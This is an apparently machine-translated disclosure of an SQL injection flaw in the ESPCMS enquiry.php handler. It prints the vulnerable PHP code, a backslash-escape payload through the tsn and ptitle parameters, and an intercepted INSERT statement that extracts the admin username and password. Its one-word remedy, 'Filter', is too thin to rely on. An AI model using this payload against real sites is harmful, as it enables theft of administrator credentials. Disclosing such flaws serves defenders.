Analysis of SQL injection vulnerability in the latest espcms version

Analysis of SQL injection vulnerability in the latest espcms version

Version: V6.4.15.05.20 UTF8 official version
Updated on: 00:05:12 Software size: 7.67 MB

In enquiry. php

 

$ptitle = $this->fun->accept('ptitle', 'P');$tsn = $this->fun->accept('tsn', 'P');$did = $this->fun->accept('did', 'P');if (empty($did) || empty($amount) || empty($ptitle)) {$enquirylink = $this->get_link('enquiry', array(), admin_LNG);$this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']);}if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);}$enquirysn = date('YmdHis') . rand(100, 9999);$db_table = db_prefix . 'enquiry';$db_table2 = db_prefix . 'enquiry_info';$addtime = time();$db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime';$db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0";$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');$insert_id = $this->db->insert_id();$db_values = '';$arraycount = count($did) - 1;foreach ($did as $key => $value) {$value = intval($value);$amount[$key] = intval($amount[$key]);if ($key == $arraycount) {$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";} else {$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";}}

Here we will escape the submitted data, but this is the case when $ tsn is not an array.



$ Temp = "wooyun"



The value of $ temp [0] is w.







Playload structure:





Directly submit $ tsn = \





The intercepted SQL statement is

2015/6/7 15:01INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (31,33,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'')

 

 

Solution:

Filter